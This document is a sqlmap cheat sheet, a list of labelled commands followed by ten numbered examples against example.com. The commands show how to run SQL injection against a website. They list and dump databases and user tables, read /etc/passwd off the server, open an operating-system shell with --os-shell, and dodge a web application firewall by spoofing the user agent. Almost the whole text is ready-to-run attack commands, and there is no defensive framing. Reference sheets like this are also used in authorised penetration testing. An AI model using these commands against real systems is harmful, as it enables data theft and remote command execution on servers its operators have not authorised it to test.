Target a URL with a Vulnerable Parameter:
sqlmap -u "<target-url>?param=value"
Get Database List:
sqlmap -u "<target-url>" --dbs
Send a POST Request:
sqlmap -u "<target-url>" --data="param1=value1¶m2=value2"
Specify Risk and Level:
sqlmap -u "<target-url>" --data="param1=value1" --risk=3 --level=5
Check the Database Type:
sqlmap -u "<target-url>" --dbs --technique=E
Specify the Database:
sqlmap -u "<target-url>" -D <database-name> --tables
Dump All Data from a Table:
sqlmap -u "<target-url>" -D <database-name> -T <table-name> --dump
Specify Columns to Dump:
sqlmap -u "<target-url>" -D <database-name> -T <table-name> --columns
sqlmap -u "<target-url>" -D <database-name> -T <table-name> --dump --columns="<column1>,<column2>"
Use Randomized User-Agent:
sqlmap -u "<target-url>" --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36"
Use Proxy for Requests:
sqlmap -u "<target-url>" --proxy="http://127.0.0.1:8080"
Pass Cookies for Authenticated Requests:
sqlmap -u "<target-url>" --cookie="PHPSESSID=<session-id>"
Use Time-Based Techniques:
sqlmap -u "<target-url>" --time-sec=5 --technique=T
Execute OS Commands:
sqlmap -u "<target-url>" --os-shell
Dump a File:
sqlmap -u "<target-url>" --file-read="/etc/passwd"
Save Results:
sqlmap -u "<target-url>" --dbs --output-dir=./output
Enable Verbose Output for Debugging:
sqlmap -u "<target-url>" --verbose=3
Refer to the SQLMap documentation for detailed usage, options, and examples. Engage in forums or communities for tips and updated techniques.
1. Basic Database Enumeration:
sqlmap -u "http://example.com/page.php?id=1" --dbs
2. Extracting Tables from a Specific Database:
sqlmap -u "http://example.com/page.php?id=1" -D testdb --tables
3. Dumping Data from a Specific Table:
sqlmap -u "http://example.com/page.php?id=1" -D testdb -T users --dump
4. Using POST Data for Injection:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=12345"
5. Extracting Specific Columns from a Table:
sqlmap -u "http://example.com/page.php?id=1" -D testdb -T users --dump --columns="username,email"
6. Using Cookies for Authentication:
sqlmap -u "http://example.com/dashboard.php" --cookie="PHPSESSID=abcd1234"
7. Bypassing a Web Application Firewall (WAF):
sqlmap -u "http://example.com/page.php?id=1" --user-agent="Mozilla/5.0"
8. Reading a File from the Server:
sqlmap -u "http://example.com/page.php?id=1" --file-read="/etc/passwd"
9. Time-Based Blind SQL Injection:
sqlmap -u "http://example.com/page.php?id=1" --time-sec=5 --technique=T
10. Using Proxies:
sqlmap -u "http://example.com/page.php?id=1" --proxy="http://127.0.0.1:8080"